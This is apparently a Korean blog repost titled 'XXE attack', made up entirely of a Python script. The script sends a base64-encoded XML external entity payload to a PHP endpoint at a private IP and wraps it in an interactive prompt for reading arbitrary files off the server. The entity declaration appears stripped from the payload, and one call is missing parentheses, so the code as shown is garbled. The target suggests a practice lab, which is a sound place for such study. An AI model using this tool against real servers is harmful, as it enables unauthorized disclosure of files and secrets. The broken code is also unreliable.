XXE 공략

XXE 공략

import requests import base64 import sys import cmd def getFile(fname): #fname = sys.argv[1] payload = f""" ]> #맨 앞 f는 포멧스트링 &xxe; 20 10""".encode() # 더블쿼터 3개는 특수문자 escape이 필요 없음 payload_b64 = base64.b64encode(payload).decode data = {"data": payload_b64} r = requests.post("http://10.10.11.1/fsdf_dfdf.php", data=data) output = (r.text).split('>')[5][:-4] "꺽쇠를 기준, 5번째 꺽쇠 내용중 마지막 4글자 제외하고 출력" return base64.b64decode(output).decode() class XxeLeak(cmd.Cmd): prompt = "xxe > " def default(self,args): print(getFile(args)) XxeLeak().cmdloop()

from http://takudaddy.tistory.com/474 by ccl(A) rewrite - 2021-11-23 15:00:13